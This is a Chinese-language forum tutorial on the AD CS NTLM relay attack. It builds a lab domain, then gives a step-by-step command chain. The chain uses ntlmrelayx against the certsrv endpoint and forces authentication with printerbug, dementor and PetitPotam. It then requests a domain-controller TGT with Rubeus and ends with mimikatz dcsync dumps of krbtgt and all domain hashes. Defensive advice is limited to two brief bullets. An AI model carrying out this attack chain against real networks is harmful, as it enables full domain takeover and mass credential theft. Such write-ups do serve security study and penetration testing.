深入探讨AD CS中继攻击:原理、搭建与防御

文章前言

本篇文章我们主要介绍AD CS攻击系列中的中继攻击的基本原理和攻击手法进行简单阐述~

漏洞原理

AD CS支持几种基于HTTP协议的通过管理员可以安装的其他AD CS服务器角色功能,这些基于HTTP的证书注册接口都是易受攻击的NTLM中继攻击,一方面是因为没有启用NTLM中继保护,另一方面Authorization HTTP头明确允许通过NTLM进行身份验证,并未使用更安全的协议,例如:Kerberos

图片[1]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛

Authorization头信息:

图片[2]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛

环境搭建

基础信息
  • 攻击主机:192.168.174.129         Kali
  • 主域控机:192.168.174.2             Windows 2012  R2
  • 辅域控机:192.168.174.160         Windows 2012  R2  (AD CS服务)
  • 域内主机:192.168.174.4             Windows Server 2008
环境说明

域内存在多台主机设备,其中有一台主机上搭建了AD CS证书服务,同时安装基于HTTP协议的AD CS服务器角色功能,例如:证书注册策略Web服务等,这些Web服务采用NTLM的方式进行身份认证,此时攻击者可以通过利用打印机漏洞使得域内DC主机向攻击者主机进行强制认证,之后攻击者窃取域控主机的NTLM身份认证信息并申请证书,由于部分证书(用户/计算机)可以用于Kerberos认证,导致攻击者可以将获取到的证书导入任意域内主机,实现对目标域控的直接访问

网络拓扑
图片[3]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
搭建流程
辅助域控
图片[4]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
图片[5]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
图片[6]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
图片[7]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛

升级为域控:

图片[8]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛

加入到现有的域环境中:

图片[9]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛

DSRM密码:

图片[10]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛

选择主从域复制:

图片[11]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
图片[12]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
图片[13]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
图片[14]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛

之后重启操作系统:

图片[15]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛

ADCS搭建

图片[16]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
图片[17]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
图片[18]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛

ADCS配置

图片[19]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
图片[20]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
图片[21]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
图片[22]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
图片[23]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
图片[24]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
图片[25]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
图片[26]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
图片[27]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
图片[28]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
图片[29]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
图片[30]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
图片[31]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
ADCS测试

本地访问ADCS证书申请Web服务弹出以下认证框,则说明成功:

http://192.168.174.160/certsrv/

图片[32]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
先决条件检查

之后查看DC和DC辅控是否在Domain Computers组里面,不在则需要自己加入,否则会利用失败:

图片[33]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
图片[34]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
图片[35]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛

漏洞利用

Step 1:域内定位CA机器

certutil -config - -ping
图片[36]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛

Step 2:安装新版本的Impacket(旧版本没有AD CS命令)

https://github.com/ExAndroidDev/impacket/tree/ntlmrelayx-adcs-attack

图片[37]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
python3 -m pip install .
图片[38]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛

Step 3:攻击机器开启本地监听并将证书颁发机构(CA)设置为目标,即目标DC 192.168.174.2

#格式:
python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs 

#示例:
python3 ntlmrelayx.py -t http://192.168.174.160/certsrv/certfnsh.asp -smb2support --adcs
图片[39]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛

Step 4:利用打印机服务漏洞强制认证

a、使用printerbug

https://github.com/dirkjanm/krbrelayx


#格式:
python printerbug.py domain/username:password@<targetName or Address> <hostname to connect to>
    
#示例:
python3 printerbug.py hacke/testuser:'test@123'@dc.hacke.testlab 192.168.174.129
图片[40]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛

成功获取到证书数据信息:

图片[41]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
图片[42]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛

b、使用dementor.py脚本

https://github.com/NotMedic/NetNTLMtoSilverTicket

#格式:
python dementor.py -d domain -u username -p password <RESPONDERIP> <TARGET>

#示例:
python3 dementor.py -d hacke.testlab -u Al1ex -p 'Kksvqm@123' 192.168.174.129 192.168.174.2
图片[43]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛

之后获取到用户的证书信息:

图片[44]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
图片[45]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛

c、使用Petitpotam.py脚本

https://github.com/topotam/PetitPotam


#格式:
python Petitpotam.py -d domain -u username -p password <RESPONDERIP> <TARGET>

#示例:
python3 PetitPotam.py -d hacke.testlab -u Al1ex -p 'Kksvqm@123' 192.168.174.129 192.168.174.160
图片[46]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛

之后成功得到证书信息:

图片[47]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
图片[48]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛

Step 6:在域内主机Win08-Server上使用普通域用户登录并访问域控

图片[49]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛

Step 7:利用上面获取到的证书,获取TGT并注入


#格式:
Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt

#示例:
Rubeus.exe asktgt /user:DC$ /certificate:打印出来的base64证书数据 /ptt
图片[50]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
图片[51]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
图片[52]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛

Step 8:再次访问域控

图片[53]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛

查看票据信息:

图片[54]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛

Step 9:之后可以利用mimikatz,进行导出hash


KERBEROS::List 
lsadump::dcsync /user:krbtgt
图片[55]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛
图片[56]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛

或者使用以下命令:

lsadump::dcsync /all /csv
图片[57]-深入探讨AD CS中继攻击:原理、搭建与防御-山海云端论坛

防御措施

  • 开启SSL认证
  • 开启NTML中继保护

文末小结

在实施AD CS Realy攻击时需要注意不能Relay给自身,也就是说AD CS服务和受害者主机(大多数情况下为域控)在同一主机上时,此时的受害者主机是域控主机,Realy的目标主机也是域控主机,这种情况下是不可行的,另外子域没有权限也不能Relay

参考链接

https://github.com/SecureAuthCorp/impacket/pull/1101

http://www.harmj0y.net/blog/activedirectory/certified-pre-owned/

https://www.exandroid.dev/2021/06/23/ad-cs-relay-attack-practical-guide/

© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容